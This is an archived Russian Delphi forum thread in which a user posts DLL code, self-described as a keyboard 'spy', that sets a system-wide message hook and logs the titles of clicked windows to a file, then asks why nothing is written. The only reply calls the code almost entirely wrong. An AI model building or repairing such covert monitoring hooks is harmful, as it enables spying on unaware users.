Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.12.11;
Скачать: CL | DM;

Вниз

Перехват сообщений от мыши   Найти похожие ветки 

 
Виталий11111   (2005-10-13 15:00) [0]

ibrary spydll;

{ DLL для клавиатурного шпиёна}

uses Windows, Messages, SysUtils, Dialogs;
var SystemHook: HHook = 0;
Wnd : HWND = 0;
f: TextFile;
wtext: array[0..255] of Char;
fdir: String;

function SysMsgProc(Code: Integer; wParam: Word; lParam: LongInt):LongInt;stdcall;
begin
Result := CallNextHookEx(SystemHook, Code, wParam, lParam);
if Code = HC_ACTION then
 begin
  if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
   begin
    AssignFile(f, "x.txt");
    if not FileExists("x.txt") then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
    Wnd := TMsg(Pointer(lParam)^).hwnd;
    GetWindowtext(Wnd, wtext, 255);
    WriteLn(f, wtext);
    Flush(f);
    CloseFile(f);
   end;
 end;
end;

procedure RunStopHook(State: Boolean) export;stdcall;
begin
if State then
 begin
  SystemHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
 end
else
 begin
  UnhookWindowsHookEx(SystemHook);
  SystemHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

В файл ничего не пишется!!! В чём проблема?


 
Eraser ©   (2005-10-13 15:01) [1]


> Виталий11111   (13.10.05 15:00)

В том что код неправильный... почти весь.



Страницы: 1 вся ветка

Текущий архив: 2005.12.11;
Скачать: CL | DM;

Наверх




Память: 0.46 MB
Время: 0.039 c
14-1132295576
WondeRu
2005-11-18 09:32
2005.12.11
Эллочка Щукина


1-1132139765
Igor_thief
2005-11-16 14:16
2005.12.11
FormatCurrency or CurrToStr


4-1128515659
Alek
2005-10-05 16:34
2005.12.11
message в dll


2-1132577865
Igor_thief
2005-11-21 15:57
2005.12.11
Active Desktop


3-1130397012
solenko
2005-10-27 11:10
2005.12.11
Русский язык в 16-ти разрядном InterBase